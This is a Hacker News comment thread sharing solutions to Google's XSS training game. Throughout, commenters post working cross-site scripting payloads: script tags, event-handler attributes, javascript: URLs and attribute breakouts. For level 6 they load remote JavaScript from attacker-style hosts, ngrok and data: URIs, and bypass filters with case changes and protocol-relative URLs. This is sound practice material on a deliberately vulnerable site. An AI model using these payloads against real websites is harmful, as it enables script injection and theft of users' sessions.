Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

Solutions: http://pastebin.com/hv0h73eC

I'm posting because I find that whenever I can't solve some security puzzle, it usually means I didn't foresee an attack and I've been writing insecure code :( So hopefully people who get stumped can take a look at the solutions and determine if that's the case for them.

It'd be cool if someone wrote up explanations for each of these w/ links to relevant portions of Google's documentation.



I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text:

  # lvl 1
  
  Enter `<script>alert('')</script>` into the search box.  
  
  # lvl 2
  
  Use the `onclick` attribute of the font tag (hint is from       the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
  
      <font color="red" onclick="alert('')">blah</font>
  
  and then click blah after posting the message. (or use   onload etc.)
  
  # lvl 3
  
  Modify the URL parameter so that you inject code into the   `<img>` tag:
  
      https://xss-game.appspot.com/level3/frame#1.jpg'   onclick="alert('')" alt='a picture called 1
  
  which will render as:
  
     html += "<img src='/static/level3/cloud/1.jpg'    onclick="alert('')" alt='a picture called 1.jpg'/>";
  
  on line 17 of the HTML file. Now click on the picture.
  
  # lvl 4
  
  Use `3'); alert('` as the value for your timer.
  
  # lvl 5
  
  Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use   this as the location that the user is sent to on the signup page. Go the the URL:
  
      https://xss-game.appspot.com/level5/frame/signup?  next=javascript:alert('')
  
  and then click the `Next` link.
  
  # lvl 6
  
  The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:
  
      alert('');

  and then go the the url `https://xss-  game.appspot.com/level6/frame#Http://mysite.com/xss.js`
  
  # Notes
  
  In an actual attack you'd use onerror or onload everywhere instead of onclick.


Level 6: You can exclude the protocol entirely (eg: "//news.ycombinator.com")

This will ensure the browser uses the "current protocol" as in if your website is browseable from http all request //www...com will be http and if your page is fetched using https, all resources starting with //www.hn.com will be loaded using https

if your website was reachable from protocol xyz://mydomain.com, all resources starting with // would be fetched using the xyz:// protocol


or you can simply add a space after #


Level 5:

To clarify, you need to update the URL, then hit the Go button to the right to update the page, then finally click the newly updated "Next >>" link.

- - -

re: Level 4

Can someone explain how the possible strings break the parseInt()? Source code:

    function startTimer(seconds) {
      seconds = parseInt(seconds) || 3;
      setTimeout(function() { 
        window.confirm("Time is up!");
        window.history.back();
      }, seconds * 1000);
    }
I tried running parseInt() in the console and just got NaNs for `'+alert()+'` and `3'); alert('`.


On level 3:

  https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
will execute on load rather than after user input.


yeah, as the notes say you would use onload IRL.


Some alternatives:

#1 <script>alert()</script> (no need for an empty string)

#4 '+alert()+'

#6 you can also use a protocol-relative url //google.com/jsapi?callback=alert


On 6 you can also just put a space before the URI and it seems to trim the string before loading it.


I just used a data URI for the last one.


For the last one, instead of actually uploading a file, you can just put data:text/javascript,alert('test') after the hash.


Good idea. I solved that one by using a "protocol relative url" (omitting the http[s] part).


This is why you should never embed user created SVGs in your site.


What if they're in an img tag?


Ah I didn't know you could have it without the base64 encoding.

I did basically the same:

    data:text/javascript;base64,YWxlcnQoInRlc3QiKQ==


These are awesome, thanks.


I did

    data:text/javascript;base64,YWxlcnQoMSk=
I didn't know you could do stuff like this (not for XSS)

    data:text/html,<script>alert(window.location)</script>
Cool, you can store a whole website in a URL now.


> Cool, you can store a whole website in a URL now.

As long as it's shorter than ~2000 characters [0]

[0] http://stackoverflow.com/questions/417142/what-is-the-maximu...


Seems like in chrome you can go much higher!

Here is a example of 5M

    data:text/html,<script>window.location='data:text/html,<!--'+new Array(5000001).join('a')+'!--><script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script>
I tried 110Mb and it actually worked as well! I'm not sure about the real limit.

You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.


For level 2, onerror="javascript:alert(0)" a whole lot simpler than your pasted answer.


that didn't work for me. this did: <img onload="javascript:alert(0);" src="http://i.imgur.com/fXYSkbC.gif">

img tags support the onload attribute and is a typical element people use in posts


You used onload, the suggested was onerror,

Maybe it doesn't work because the page is already loaded so the onload is never run.


weird, onerror worked fine for me

    <img src="404me" onerror="alert('test')" />


Instead of "onclick" for the <img> tags, you can bypass the required user interaction and be more brutal using "onerror" e.g. <img onerror="alert('hacked')" url="broken_url">.


I just used the industry standard protocol format in the level 6: `#//xxx.ngrok.io/foo.js`. I thought it was hilarious that they didn't filter that out.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: